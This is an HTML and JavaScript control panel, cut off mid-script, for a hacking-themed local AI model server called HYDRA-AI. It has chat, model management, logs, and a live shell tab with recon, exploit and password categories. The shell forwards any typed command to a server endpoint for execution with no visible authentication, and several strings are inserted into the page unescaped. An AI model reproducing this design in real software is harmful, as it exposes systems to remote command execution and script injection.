| <!DOCTYPE html> |
| <html lang="en"> |
| <head> |
| <meta charset="UTF-8"/> |
| <meta name="viewport" content="width=device-width,initial-scale=1"/> |
| <title>HYDRA-AI CONTROL</title> |
| <link href="https://fonts.googleapis.com/css2?family=Share+Tech+Mono&family=Bebas+Neue&family=JetBrains+Mono:wght@300;400;700&display=swap" rel="stylesheet"/> |
| <style> |
| :root { |
| --bg: #04060a; |
| --panel: #080d14; |
| --border: #111d2e; |
| --accent: #00ff41; |
| --accent2: #ff003c; |
| --accent3: #00e5ff; |
| --text: #a8b8c8; |
| --dim: #334455; |
| --warn: #ffcc00; |
| --font-mono: 'JetBrains Mono', 'Share Tech Mono', monospace; |
| --font-head: 'Bebas Neue', sans-serif; |
| } |
| *{box-sizing:border-box;margin:0;padding:0} |
| html,body{height:100%;background:var(--bg);color:var(--text);font-family:var(--font-mono);overflow:hidden} |
| |
| |
| body::before{ |
| content:'';position:fixed;inset:0;pointer-events:none;z-index:9998; |
| background:repeating-linear-gradient(0deg,transparent,transparent 3px,rgba(0,255,65,.015) 3px,rgba(0,255,65,.015) 4px); |
| } |
| |
| |
| body::after{ |
| content:'';position:fixed;inset:0;pointer-events:none;z-index:9997; |
| background:radial-gradient(ellipse at center,transparent 60%,rgba(0,0,0,.7) 100%); |
| } |
| |
| |
| #app{display:grid;grid-template-rows:52px 1fr;height:100vh;position:relative;z-index:1} |
| |
| |
| header{ |
| display:flex;align-items:center;gap:14px;padding:0 18px; |
| background:var(--panel);border-bottom:1px solid var(--border); |
| position:relative; |
| } |
| header::after{ |
| content:'';position:absolute;bottom:0;left:0;right:0;height:1px; |
| background:linear-gradient(90deg,transparent 0%,var(--accent) 30%,var(--accent2) 70%,transparent 100%); |
| opacity:.6; |
| } |
| .logo{ |
| font-family:var(--font-head);font-size:26px;letter-spacing:4px; |
| color:var(--accent);text-shadow:0 0 20px rgba(0,255,65,.5),0 0 40px rgba(0,255,65,.2); |
| } |
| .logo em{color:var(--accent2);font-style:normal} |
| .dot{width:7px;height:7px;border-radius:50%;background:var(--accent2);box-shadow:0 0 8px var(--accent2);animation:pulse 1.5s infinite;flex-shrink:0} |
| .dot.on{background:var(--accent);box-shadow:0 0 8px var(--accent)} |
| @keyframes pulse{0%,100%{opacity:1}50%{opacity:.3}} |
| .status-txt{font-size:10px;color:var(--dim);letter-spacing:2px} |
| .spacer{flex:1} |
| .model-wrap{display:flex;align-items:center;gap:8px} |
| .model-wrap label{font-size:9px;color:var(--dim);letter-spacing:3px;text-transform:uppercase} |
| #gmodel{ |
| background:rgba(0,255,65,.05);border:1px solid rgba(0,255,65,.2);color:var(--accent); |
| font-family:var(--font-mono);font-size:11px;padding:4px 8px;border-radius:2px;outline:none;cursor:pointer; |
| } |
| #gmodel:focus{border-color:var(--accent)} |
| #gmodel option{background:#0a0f14;color:var(--text)} |
| |
| |
| #main{display:flex;height:100%;overflow:hidden} |
| .tab-nav{ |
| display:flex;flex-direction:column;width:48px;background:var(--panel); |
| border-right:1px solid var(--border);padding:6px 0;gap:2px;flex-shrink:0; |
| } |
| .tbtn{ |
| display:flex;flex-direction:column;align-items:center;justify-content:center; |
| gap:3px;padding:11px 4px;cursor:pointer;border:none;background:transparent; |
| color:var(--dim);font-size:7px;letter-spacing:1px;text-transform:uppercase; |
| border-left:2px solid transparent;transition:all .15s;font-family:var(--font-mono); |
| } |
| .tbtn svg{width:16px;height:16px;stroke:currentColor;fill:none;stroke-width:1.5} |
| .tbtn:hover{color:var(--text);background:rgba(255,255,255,.02)} |
| .tbtn.active{color:var(--accent);border-left-color:var(--accent);background:rgba(0,255,65,.04)} |
| |
| .panels{flex:1;overflow:hidden;position:relative} |
| .panel{position:absolute;inset:0;display:none;flex-direction:column} |
| .panel.active{display:flex} |
| |
| |
| .ph{ |
| padding:10px 16px;border-bottom:1px solid var(--border); |
| display:flex;align-items:center;gap:10px;flex-shrink:0;background:var(--panel); |
| } |
| .ph-title{font-family:var(--font-head);font-size:18px;letter-spacing:3px;color:var(--text)} |
| .ph-title em{color:var(--accent);font-style:normal} |
| .badge{ |
| font-size:8px;padding:2px 6px;border-radius:1px;letter-spacing:1px; |
| background:rgba(0,255,65,.08);border:1px solid rgba(0,255,65,.2);color:var(--accent); |
| } |
| .badge.red{background:rgba(255,0,60,.08);border-color:rgba(255,0,60,.3);color:var(--accent2)} |
| |
| |
| #chat-msgs{ |
| flex:1;overflow-y:auto;padding:14px;display:flex;flex-direction:column;gap:10px; |
| } |
| #chat-msgs::-webkit-scrollbar{width:3px} |
| #chat-msgs::-webkit-scrollbar-thumb{background:var(--border)} |
| |
| .msg{display:flex;gap:8px;max-width:88%;animation:fadeUp .2s ease} |
| @keyframes fadeUp{from{opacity:0;transform:translateY(5px)}to{opacity:1;transform:none}} |
| .msg.user{align-self:flex-end;flex-direction:row-reverse} |
| .av{ |
| width:26px;height:26px;border-radius:2px;display:flex;align-items:center; |
| justify-content:center;font-size:9px;font-weight:700;flex-shrink:0;margin-top:2px; |
| font-family:var(--font-head);letter-spacing:1px; |
| } |
| .msg.user .av{background:rgba(255,0,60,.15);border:1px solid rgba(255,0,60,.3);color:var(--accent2)} |
| .msg.ai .av{background:rgba(0,255,65,.08);border:1px solid rgba(0,255,65,.2);color:var(--accent)} |
| .bubble{ |
| padding:9px 13px;border-radius:3px;font-size:12px;line-height:1.65; |
| white-space:pre-wrap;word-break:break-word; |
| } |
| .msg.user .bubble{background:rgba(255,0,60,.08);border:1px solid rgba(255,0,60,.2);color:#ffaabb} |
| .msg.ai .bubble{background:rgba(0,255,65,.04);border:1px solid rgba(0,255,65,.12);color:var(--text)} |
| .msg.ai .bubble.streaming::after{content:'▋';animation:blink .5s step-end infinite;color:var(--accent)} |
| @keyframes blink{0%,100%{opacity:1}50%{opacity:0}} |
| .mtime{font-size:8px;color:var(--dim);margin-top:3px} |
| |
| .chat-empty{ |
| flex:1;display:flex;flex-direction:column;align-items:center;justify-content:center;gap:6px; |
| } |
| .chat-empty .big{ |
| font-family:var(--font-head);font-size:64px;letter-spacing:6px; |
| color:transparent;-webkit-text-stroke:1px rgba(0,255,65,.15); |
| text-shadow:0 0 60px rgba(0,255,65,.05); |
| } |
| .chat-empty .sub{font-size:10px;color:var(--dim);letter-spacing:3px} |
| |
| #chat-bar{ |
| padding:10px 14px;border-top:1px solid var(--border); |
| display:flex;gap:8px;align-items:flex-end;background:var(--panel); |
| } |
| #chat-in{ |
| flex:1;background:#060b10;border:1px solid var(--border);color:var(--text); |
| font-family:var(--font-mono);font-size:12px;padding:9px 11px;border-radius:3px; |
| outline:none;resize:none;max-height:120px;min-height:38px;line-height:1.5; |
| transition:border-color .15s; |
| } |
| #chat-in:focus{border-color:rgba(0,255,65,.3)} |
| #chat-in::placeholder{color:var(--dim)} |
| .send-btn{ |
| background:var(--accent);color:#000;border:none;padding:9px 15px;height:38px; |
| border-radius:3px;cursor:pointer;font-family:var(--font-head);font-size:13px; |
| letter-spacing:2px;transition:all .2s;flex-shrink:0;display:flex;align-items:center;gap:5px; |
| } |
| .send-btn:hover{box-shadow:0 0 20px rgba(0,255,65,.4)} |
| .send-btn:disabled{background:var(--border);color:var(--dim);cursor:not-allowed;box-shadow:none} |
| .send-btn svg{width:13px;height:13px;stroke:currentColor;fill:none;stroke-width:2} |
| |
| |
| #shell-panel{background:#030508} |
| .shell-cats{ |
| display:flex;overflow-x:auto;border-bottom:1px solid var(--border);flex-shrink:0; |
| background:rgba(0,0,0,.3); |
| } |
| .shell-cats::-webkit-scrollbar{height:2px} |
| .cat-btn{ |
| background:transparent;border:none;border-bottom:2px solid transparent; |
| color:var(--dim);font-family:var(--font-mono);font-size:9px; |
| padding:7px 12px;cursor:pointer;white-space:nowrap;transition:all .15s;letter-spacing:.5px; |
| } |
| .cat-btn:hover{color:var(--text);background:rgba(255,255,255,.02)} |
| .cat-btn.active{color:var(--accent);border-bottom-color:var(--accent);background:rgba(0,255,65,.04)} |
| |
| .qcmds{ |
| display:flex;gap:5px;padding:5px 14px;border-bottom:1px solid var(--border); |
| flex-wrap:wrap;flex-shrink:0;background:#030508;min-height:32px; |
| } |
| .qc{ |
| font-family:var(--font-mono);font-size:9px;padding:3px 7px; |
| background:rgba(0,255,65,.04);border:1px solid rgba(0,255,65,.15); |
| color:rgba(0,255,65,.6);border-radius:1px;cursor:pointer;transition:all .12s;white-space:nowrap; |
| } |
| .qc:hover{background:rgba(0,255,65,.12);color:var(--accent)} |
| |
| .shell-bar{ |
| padding:7px 14px;border-bottom:1px solid var(--border); |
| display:flex;gap:7px;align-items:center;background:var(--panel);flex-shrink:0; |
| } |
| .shell-in-wrap{ |
| flex:1;display:flex;align-items:center;gap:7px; |
| background:#030810;border:1px solid var(--border);border-radius:2px;padding:0 10px; |
| } |
| .sprmt{color:var(--accent);font-size:12px;user-select:none} |
| #shell-in{ |
| flex:1;background:transparent;border:none;outline:none; |
| color:#b0ffb0;font-family:var(--font-mono);font-size:12px;padding:7px 0; |
| } |
| #shell-in::placeholder{color:var(--dim)} |
| .run-btn,.kill-btn{ |
| border:none;padding:6px 13px;border-radius:2px;cursor:pointer; |
| font-family:var(--font-head);font-size:12px;letter-spacing:1px;transition:all .2s; |
| } |
| .run-btn{background:var(--accent);color:#000} |
| .run-btn:hover{box-shadow:0 0 14px rgba(0,255,65,.5)} |
| .run-btn:disabled{background:#0a1a0a;color:#1a3a1a;cursor:not-allowed} |
| .kill-btn{background:var(--accent2);color:#fff;display:none} |
| .kill-btn.show{display:block} |
| .kill-btn:hover{box-shadow:0 0 14px rgba(255,0,60,.5)} |
| |
| #shell-out{ |
| flex:1;overflow-y:auto;padding:12px 16px; |
| font-family:var(--font-mono);font-size:12px;line-height:1.7; |
| color:#7aff7a;word-break:break-all; |
| } |
| #shell-out::-webkit-scrollbar{width:3px} |
| #shell-out::-webkit-scrollbar-thumb{background:var(--border)} |
| .s-echo{color:var(--accent3);margin:5px 0 2px} |
| .s-exit0{color:var(--accent);font-size:10px;margin-top:3px;opacity:.7} |
| .s-exit1{color:var(--accent2);font-size:10px;margin-top:3px} |
| .s-empty{color:var(--dim);text-align:center;margin-top:60px;font-size:11px;letter-spacing:2px} |
| |
| |
| #models-panel{background:var(--bg)} |
| .models-body{flex:1;overflow-y:auto;padding:14px;display:flex;flex-direction:column;gap:12px} |
| .pull-box{background:var(--panel);border:1px solid var(--border);border-radius:3px;padding:14px} |
| .pull-box-title{font-size:9px;color:var(--dim);letter-spacing:3px;margin-bottom:10px} |
| .pull-row{display:flex;gap:7px;flex-wrap:wrap} |
| #pull-in{ |
| flex:1;min-width:180px;background:#060b10;border:1px solid var(--border);color:var(--text); |
| font-family:var(--font-mono);font-size:11px;padding:7px 10px;border-radius:2px;outline:none; |
| } |
| #pull-in:focus{border-color:rgba(0,255,65,.3)} |
| #pull-in::placeholder{color:var(--dim)} |
| .abtn{ |
| border:none;padding:7px 14px;border-radius:2px;cursor:pointer; |
| font-family:var(--font-head);font-size:12px;letter-spacing:1px;transition:all .2s; |
| } |
| .abtn.p{background:var(--accent);color:#000} |
| .abtn.p:hover{box-shadow:0 0 12px rgba(0,255,65,.4)} |
| .abtn.s{background:var(--border);color:var(--text)} |
| .abtn.s:hover{background:#1a2535} |
| .popular{display:flex;gap:5px;flex-wrap:wrap;margin-top:8px} |
| |
| .prog-box{background:var(--panel);border:1px solid var(--border);border-radius:3px;padding:14px;display:none} |
| .prog-box.show{display:block} |
| .prog-lbl{font-size:10px;color:var(--dim);margin-bottom:7px} |
| .prog-track{background:#060b10;border-radius:1px;height:3px;overflow:hidden} |
| .prog-fill{height:100%;background:linear-gradient(90deg,var(--accent),var(--accent3));width:0%;transition:width .3s} |
| .prog-stat{font-size:10px;color:var(--accent);margin-top:5px} |
| |
| .mgrid{display:grid;grid-template-columns:repeat(auto-fill,minmax(270px,1fr));gap:9px} |
| .mcard{ |
| background:var(--panel);border:1px solid var(--border);border-radius:3px; |
| padding:13px;transition:border-color .15s; |
| } |
| .mcard:hover{border-color:rgba(0,255,65,.25)} |
| .mcard.active{border-color:var(--accent);background:rgba(0,255,65,.03)} |
| .mname{font-size:12px;color:var(--accent);margin-bottom:4px;font-family:var(--font-mono)} |
| .mmeta{font-size:10px;color:var(--dim);display:flex;gap:10px;flex-wrap:wrap} |
| .mbtns{margin-top:9px;display:flex;gap:5px} |
| .mbtn{ |
| font-size:9px;padding:4px 9px;border-radius:1px;border:none;cursor:pointer; |
| font-family:var(--font-head);letter-spacing:1px;transition:all .15s; |
| } |
| .mbtn.u{background:rgba(0,255,65,.12);color:var(--accent);border:1px solid rgba(0,255,65,.25)} |
| .mbtn.u:hover{background:rgba(0,255,65,.22)} |
| .mbtn.d{background:rgba(255,0,60,.08);color:var(--accent2);border:1px solid rgba(255,0,60,.25)} |
| .mbtn.d:hover{background:rgba(255,0,60,.18)} |
| .no-m{text-align:center;padding:40px;color:var(--dim);font-size:11px;letter-spacing:2px} |
| |
| |
| #logs-panel{background:#030508} |
| #log-out{ |
| flex:1;overflow-y:auto;padding:12px 16px; |
| font-family:var(--font-mono);font-size:11px;line-height:1.8; |
| } |
| .ll{border-bottom:1px solid rgba(255,255,255,.02);padding:1px 0} |
| .ll.info{color:#4a7a8a} |
| .ll.warn{color:var(--warn)} |
| .ll.error{color:var(--accent2)} |
| .ll.ok{color:var(--accent)} |
| .lts{color:var(--dim);margin-right:8px;user-select:none} |
| |
| |
| #toast{position:fixed;bottom:18px;right:18px;z-index:10000;display:flex;flex-direction:column;gap:7px;pointer-events:none} |
| .ti{ |
| background:var(--panel);border-radius:2px;padding:9px 14px; |
| font-size:11px;animation:tIn .25s ease;border-left:2px solid var(--accent); |
| box-shadow:0 4px 20px rgba(0,0,0,.8); |
| } |
| .ti.e{border-color:var(--accent2);color:var(--accent2)} |
| .ti.ok{border-color:var(--accent);color:var(--accent)} |
| @keyframes tIn{from{opacity:0;transform:translateX(16px)}to{opacity:1;transform:none}} |
| |
| *::-webkit-scrollbar{width:3px;height:3px} |
| *::-webkit-scrollbar-track{background:transparent} |
| *::-webkit-scrollbar-thumb{background:var(--border);border-radius:1px} |
| </style> |
| </head> |
| <body> |
| <div id="app"> |
| |
| <header> |
| <div class="logo">HYDRA<em>AI</em></div> |
| <div class="dot" id="dot"></div> |
| <div class="status-txt" id="stxt">CONNECTING...</div> |
| <div class="spacer"></div> |
| <div class="model-wrap"> |
| <label>MODEL</label> |
| <select id="gmodel"><option value="">— select —</option></select> |
| </div> |
| </header> |
|
|
| <div id="main"> |
| |
| <nav class="tab-nav"> |
| <button class="tbtn active" data-tab="chat" title="Chat"> |
| <svg viewBox="0 0 24 24"><path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"/></svg> |
| CHAT |
| </button> |
| <button class="tbtn" data-tab="shell" title="Shell"> |
| <svg viewBox="0 0 24 24"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg> |
| SHELL |
| </button> |
| <button class="tbtn" data-tab="models" title="Models"> |
| <svg viewBox="0 0 24 24"><rect x="2" y="3" width="20" height="14" rx="2"/><line x1="8" y1="21" x2="16" y2="21"/><line x1="12" y1="17" x2="12" y2="21"/></svg> |
| MODELS |
| </button> |
| <button class="tbtn" data-tab="logs" title="Logs"> |
| <svg viewBox="0 0 24 24"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/><line x1="16" y1="13" x2="8" y2="13"/><line x1="16" y1="17" x2="8" y2="17"/></svg> |
| LOGS |
| </button> |
| </nav> |
|
|
| <div class="panels"> |
|
|
| |
| <div class="panel active" id="chat-panel"> |
| <div class="ph"> |
| <div class="ph-title">AI <em>CHAT</em></div> |
| <div class="badge" id="chat-badge">no model</div> |
| <div style="flex:1"></div> |
| <button class="abtn s" style="font-size:10px;padding:4px 9px" onclick="clearChat()">CLEAR</button> |
| </div> |
| <div id="chat-msgs"> |
| <div class="chat-empty" id="chat-empty"> |
| <div class="big">HYDRA</div> |
| <div class="sub">SELECT A MODEL — BEGIN OPERATION</div> |
| </div> |
| </div> |
| <div id="chat-bar"> |
| <textarea id="chat-in" rows="1" placeholder="Enter command... (Enter to send, Shift+Enter for newline)"></textarea> |
| <button class="send-btn" id="send-btn" onclick="sendChat()"> |
| <svg viewBox="0 0 24 24"><line x1="22" y1="2" x2="11" y2="13"/><polygon points="22 2 15 22 11 13 2 9 22 2"/></svg> |
| SEND |
| </button> |
| </div> |
| </div> |
|
|
| |
| <div class="panel" id="shell-panel"> |
| <div class="ph"> |
| <div class="ph-title">SHELL <em>TERMINAL</em></div> |
| <div class="badge red">LIVE</div> |
| </div> |
| <div class="shell-cats" id="shell-cats"> |
| <button class="cat-btn active" onclick="switchCat(this,'system')">⚙ SYSTEM</button> |
| <button class="cat-btn" onclick="switchCat(this,'recon')">🔍 RECON</button> |
| <button class="cat-btn" onclick="switchCat(this,'web')">🌐 WEB</button> |
| <button class="cat-btn" onclick="switchCat(this,'network')">📡 NETWORK</button> |
| <button class="cat-btn" onclick="switchCat(this,'exploit')">💥 EXPLOIT</button> |
| <button class="cat-btn" onclick="switchCat(this,'password')">🔑 PASSWORD</button> |
| <button class="cat-btn" onclick="switchCat(this,'forensics')">🔬 FORENSICS</button> |
| <button class="cat-btn" onclick="switchCat(this,'ollama')">🦙 OLLAMA</button> |
| </div> |
| <div class="qcmds" id="qcmds"></div> |
| <div class="shell-bar"> |
| <div class="shell-in-wrap"> |
| <span class="sprmt">$ </span> |
| <input id="shell-in" type="text" placeholder="enter command..." autocomplete="off" spellcheck="false"/> |
| </div> |
| <button class="run-btn" id="run-btn" onclick="runShell()">▶ RUN</button> |
| <button class="kill-btn" id="kill-btn" onclick="killShell()">■ KILL</button> |
| <button class="abtn s" style="font-size:10px;padding:5px 9px" onclick="clearShell()">CLR</button> |
| </div> |
| <div id="shell-out"><div class="s-empty">// AWAITING COMMAND</div></div> |
| </div> |
|
|
| |
| <div class="panel" id="models-panel"> |
| <div class="ph"> |
| <div class="ph-title">MODEL <em>MANAGER</em></div> |
| <button class="abtn s" style="font-size:10px;padding:4px 9px" onclick="loadModels()">↻ REFRESH</button> |
| </div> |
| <div class="models-body"> |
| <div class="pull-box"> |
| <div class="pull-box-title">PULL NEW MODEL</div> |
| <div class="pull-row"> |
| <input id="pull-in" type="text" placeholder="e.g. hydra-ai, tinyllama, phi3, mistral"/> |
| <button class="abtn p" onclick="pullModel()">⬇ PULL</button> |
| </div> |
| <div class="popular" id="popular"> |
| <span class="qc" onclick="setPull('hydra-ai')">hydra-ai</span> |
| <span class="qc" onclick="setPull('NeuralNexusLab/HacKing')">HacKing</span> |
| <span class="qc" onclick="setPull('qwen3.5:0.8b')">qwen3.5:0.8b</span> |
| <span class="qc" onclick="setPull('tinyllama')">tinyllama</span> |
| <span class="qc" onclick="setPull('phi3')">phi3</span> |
| <span class="qc" onclick="setPull('mistral')">mistral</span> |
| <span class="qc" onclick="setPull('deepseek-r1:7b')">deepseek-r1:7b</span> |
| </div> |
| </div> |
| <div class="prog-box" id="prog-box"> |
| <div class="prog-lbl" id="prog-lbl">Pulling...</div> |
| <div class="prog-track"><div class="prog-fill" id="prog-fill"></div></div> |
| <div class="prog-stat" id="prog-stat">Initializing...</div> |
| </div> |
| <div class="mgrid" id="mgrid"><div class="no-m">LOADING MODELS...</div></div> |
| </div> |
| </div> |
|
|
| |
| <div class="panel" id="logs-panel"> |
| <div class="ph"> |
| <div class="ph-title">SYSTEM <em>LOGS</em></div> |
| <button class="abtn s" style="font-size:10px;padding:4px 9px" onclick="clearLogs()">CLEAR</button> |
| </div> |
| <div id="log-out"> |
| <div class="ll info"><span class="lts">[INIT]</span> HYDRA-AI control interface online</div> |
| </div> |
| </div> |
|
|
| </div> |
| </div> |
| </div> |
|
|
| <div id="toast"></div> |
|
|
| <script> |
| const BASE = window.location.origin; |
| let currentModel = ''; |
| let shellCtrl = null; |
| let shellRunning = false; |
| let shellHist = []; |
| let shellHIdx = -1; |
| |
| |
| function log(msg, type='info'){ |
| const el=document.getElementById('log-out'); |
| const ts=new Date().toLocaleTimeString('en',{hour12:false}); |
| const d=document.createElement('div'); |
| d.className='ll '+type; |
| d.innerHTML=`<span class="lts">[${ts}]</span> ${msg}`; |
| el.appendChild(d); |
| el.scrollTop=el.scrollHeight; |
| } |
| function toast(msg,type=''){ |
| const t=document.getElementById('toast'); |
| const d=document.createElement('div'); |
| d.className='ti '+(type==='error'?'e':type==='ok'?'ok':''); |
| d.textContent=msg; |
| t.appendChild(d); |
| setTimeout(()=>d.remove(),3000); |
| } |
| function clearLogs(){document.getElementById('log-out').innerHTML='';} |
| function fmt(b){if(!b)return '';const g=b/1e9;return g>=1?g.toFixed(1)+'GB':(b/1e6).toFixed(0)+'MB';} |
| function hhmm(){return new Date().toLocaleTimeString('en',{hour12:false,hour:'2-digit',minute:'2-digit'});} |
| |
| |
| document.querySelectorAll('.tbtn').forEach(btn=>{ |
| btn.addEventListener('click',()=>{ |
| const tab=btn.dataset.tab; |
| document.querySelectorAll('.tbtn').forEach(b=>b.classList.remove('active')); |
| document.querySelectorAll('.panel').forEach(p=>p.classList.remove('active')); |
| btn.classList.add('active'); |
| document.getElementById(tab+'-panel').classList.add('active'); |
| if(tab==='models') loadModels(); |
| }); |
| }); |
| |
| |
| async function checkStatus(){ |
| try{ |
| const r=await fetch(`${BASE}/api/tags`,{signal:AbortSignal.timeout(4000)}); |
| if(r.ok){ |
| document.getElementById('dot').classList.add('on'); |
| document.getElementById('stxt').textContent='ONLINE'; |
| await loadModels(true); |
| } |
| }catch(e){ |
| document.getElementById('dot').classList.remove('on'); |
| document.getElementById('stxt').textContent='OFFLINE'; |
| log('Server unreachable: '+e.message,'error'); |
| } |
| } |
| |
| |
| async function loadModels(silent=false){ |
| try{ |
| const r=await fetch(`${BASE}/api/tags`); |
| const data=await r.json(); |
| const models=data.models||[]; |
| |
| |
| const sel=document.getElementById('gmodel'); |
| const prev=sel.value; |
| sel.innerHTML='<option value="">— select —</option>'; |
| models.forEach(m=>{ |
| const o=document.createElement('option'); |
| o.value=m.name;o.textContent=m.name; |
| sel.appendChild(o); |
| }); |
| if(prev) sel.value=prev; |
| |
| |
| const grid=document.getElementById('mgrid'); |
| if(!models.length){ |
| grid.innerHTML='<div class="no-m">NO MODELS — PULL ONE ABOVE</div>'; |
| return; |
| } |
| grid.innerHTML=models.map(m=>` |
| <div class="mcard ${currentModel===m.name?'active':''}"> |
| <div class="mname">${m.name}</div> |
| <div class="mmeta"> |
| <span>💾 ${fmt(m.size)}</span> |
| ${m.details?.parameter_size?`<span>🔢 ${m.details.parameter_size}</span>`:''} |
| ${m.details?.quantization_level?`<span>⚡ ${m.details.quantization_level}</span>`:''} |
| </div> |
| <div class="mbtns"> |
| <button class="mbtn u" onclick="selectModel('${m.name}')">USE</button> |
| <button class="mbtn d" onclick="deleteModel('${m.name}')">DELETE</button> |
| </div> |
| </div>`).join(''); |
| if(!silent) log(`Loaded ${models.length} models`,'ok'); |
| }catch(e){ |
| if(!silent) log('Models error: '+e.message,'error'); |
| } |
| } |
| |
| function selectModel(name){ |
| currentModel=name; |
| document.getElementById('gmodel').value=name; |
| document.getElementById('chat-badge').textContent=name; |
| toast('▶ '+name,'ok'); |
| log('Model → '+name,'ok'); |
| loadModels(true); |
| } |
| |
| document.getElementById('gmodel').addEventListener('change',function(){ |
| if(this.value) selectModel(this.value); |
| }); |
| |
| async function deleteModel(name){ |
| if(!confirm(`Delete "${name}"?`)) return; |
| try{ |
| await fetch(`${BASE}/api/delete`,{method:'DELETE',headers:{'Content-Type':'application/json'},body:JSON.stringify({name})}); |
| toast('Deleted: '+name,'error'); |
| log('Deleted: '+name,'warn'); |
| loadModels(); |
| if(currentModel===name){currentModel='';document.getElementById('gmodel').value='';} |
| }catch(e){toast('Delete failed','error');} |
| } |
| |
| function setPull(name){document.getElementById('pull-in').value=name;} |
| |
| async function pullModel(){ |
| const name=document.getElementById('pull-in').value.trim(); |
| if(!name){toast('Enter model name','error');return;} |
| const pb=document.getElementById('prog-box'); |
| const fill=document.getElementById('prog-fill'); |
| const stat=document.getElementById('prog-stat'); |
| const lbl=document.getElementById('prog-lbl'); |
| pb.classList.add('show'); |
| lbl.textContent='Pulling: '+name; |
| fill.style.width='0%';stat.textContent='Starting...'; |
| log('Pulling: '+name,'info'); |
| try{ |
| const r=await fetch(`${BASE}/api/pull`,{ |
| method:'POST',headers:{'Content-Type':'application/json'}, |
| body:JSON.stringify({name}) |
| }); |
| const reader=r.body.getReader(); |
| const dec=new TextDecoder(); |
| let buf=''; |
| while(true){ |
| const {done,value}=await reader.read(); |
| if(done) break; |
| buf+=dec.decode(value,{stream:true}); |
| const lines=buf.split('\n');buf=lines.pop(); |
| for(const line of lines){ |
| if(!line.trim()) continue; |
| try{ |
| const d=JSON.parse(line); |
| stat.textContent=d.status||'...'; |
| if(d.total&&d.completed) fill.style.width=Math.round(d.completed/d.total*100)+'%'; |
| }catch(e){} |
| } |
| } |
| pb.classList.remove('show'); |
| toast('✓ Pulled: '+name,'ok'); |
| log('Pull complete: '+name,'ok'); |
| document.getElementById('pull-in').value=''; |
| loadModels(); |
| }catch(e){ |
| pb.classList.remove('show'); |
| toast('Pull failed','error');log('Pull error: '+e.message,'error'); |
| } |
| } |
| |
| document.getElementById('pull-in').addEventListener('keydown',e=>{if(e.key==='Enter')pullModel();}); |
| |
| |
| function clearChat(){ |
| const m=document.getElementById('chat-msgs'); |
| m.innerHTML='<div class="chat-empty" id="chat-empty"><div class="big">HYDRA</div><div class="sub">SELECT A MODEL — BEGIN OPERATION</div></div>'; |
| log('Chat cleared'); |
| } |
| |
| function addMsg(role, text, streaming=false){ |
| const empty=document.getElementById('chat-empty'); |
| if(empty) empty.remove(); |
| const msgs=document.getElementById('chat-msgs'); |
| const wrap=document.createElement('div'); |
| wrap.className='msg '+role; |
| const av=document.createElement('div'); |
| av.className='av'; |
| av.textContent=role==='user'?'YOU':'AI'; |
| const bub=document.createElement('div'); |
| bub.className='bubble'+(streaming?' streaming':''); |
| bub.textContent=text; |
| const t=document.createElement('div'); |
| t.className='mtime';t.textContent=hhmm(); |
| const inner=document.createElement('div'); |
| inner.appendChild(bub);inner.appendChild(t); |
| wrap.appendChild(av);wrap.appendChild(inner); |
| msgs.appendChild(wrap); |
| msgs.scrollTop=msgs.scrollHeight; |
| return bub; |
| } |
| |
| async function sendChat(){ |
| const input=document.getElementById('chat-in'); |
| const text=input.value.trim(); |
| if(!text) return; |
| if(!currentModel){toast('Select a model first','error');return;} |
| |
| input.value='';input.style.height=''; |
| document.getElementById('send-btn').disabled=true; |
| log(`Chat → ${currentModel}: "${text.slice(0,50)}"`,'info'); |
| |
| addMsg('user', text); |
| const bubble=addMsg('ai','',true); |
| let full=''; |
| |
| try{ |
| |
| const r=await fetch(`${BASE}/api/chat`,{ |
| method:'POST', |
| headers:{'Content-Type':'application/json'}, |
| body:JSON.stringify({model:currentModel, message:text, stream:true}) |
| }); |
| |
| if(!r.ok) throw new Error('HTTP '+r.status); |
| |
| const reader=r.body.getReader(); |
| const dec=new TextDecoder(); |
| |
| while(true){ |
| const {done,value}=await reader.read(); |
| if(done) break; |
| |
| const chunk=dec.decode(value,{stream:true}); |
| full+=chunk; |
| bubble.textContent=full; |
| document.getElementById('chat-msgs').scrollTop=9999; |
| } |
| |
| bubble.classList.remove('streaming'); |
| log(`Response: ${full.length} chars`,'ok'); |
| }catch(e){ |
| bubble.textContent='[ERROR] '+e.message; |
| bubble.classList.remove('streaming'); |
| bubble.style.color='var(--accent2)'; |
| log('Chat error: '+e.message,'error'); |
| toast('Chat failed','error'); |
| } |
| |
| document.getElementById('send-btn').disabled=false; |
| input.focus(); |
| } |
| |
| const chatIn=document.getElementById('chat-in'); |
| chatIn.addEventListener('keydown',e=>{if(e.key==='Enter'&&!e.shiftKey){e.preventDefault();sendChat();}}); |
| chatIn.addEventListener('input',function(){this.style.height='auto';this.style.height=Math.min(this.scrollHeight,120)+'px';}); |
| |
| |
| function clearShell(){document.getElementById('shell-out').innerHTML='<div class="s-empty">// CLEARED</div>';} |
| |
| function setCmd(cmd){document.getElementById('shell-in').value=cmd;document.getElementById('shell-in').focus();} |
| |
| function addShellLine(text,cls=''){ |
| const out=document.getElementById('shell-out'); |
| const p=out.querySelector('.s-empty');if(p)p.remove(); |
| const d=document.createElement('div'); |
| if(cls) d.className=cls; |
| d.textContent=text; |
| out.appendChild(d); |
| out.scrollTop=out.scrollHeight; |
| } |
| |
| async function runShell(){ |
| const inp=document.getElementById('shell-in'); |
| const cmd=inp.value.trim(); |
| if(!cmd||shellRunning) return; |
| |
| shellHist.unshift(cmd);shellHIdx=-1; |
| inp.value=''; |
| shellRunning=true; |
| shellCtrl=new AbortController(); |
| document.getElementById('run-btn').disabled=true; |
| document.getElementById('kill-btn').classList.add('show'); |
| |
| addShellLine('$ '+cmd,'s-echo'); |
| log('Shell: '+cmd,'info'); |
| |
| try{ |
| const r=await fetch(`${BASE}/shell`,{ |
| method:'POST', |
| headers:{'Content-Type':'application/json'}, |
| body:JSON.stringify({cmd}), |
| signal:shellCtrl.signal |
| }); |
| const reader=r.body.getReader(); |
| const dec=new TextDecoder(); |
| let buf=''; |
| while(true){ |
| const {done,value}=await reader.read(); |
| if(done) break; |
| buf+=dec.decode(value,{stream:true}); |
| const lines=buf.split('\n');buf=lines.pop(); |
| for(const line of lines) addShellLine(line); |
| } |
| if(buf) addShellLine(buf); |
| addShellLine('[done]','s-exit0'); |
| log('Shell done','ok'); |
| }catch(e){ |
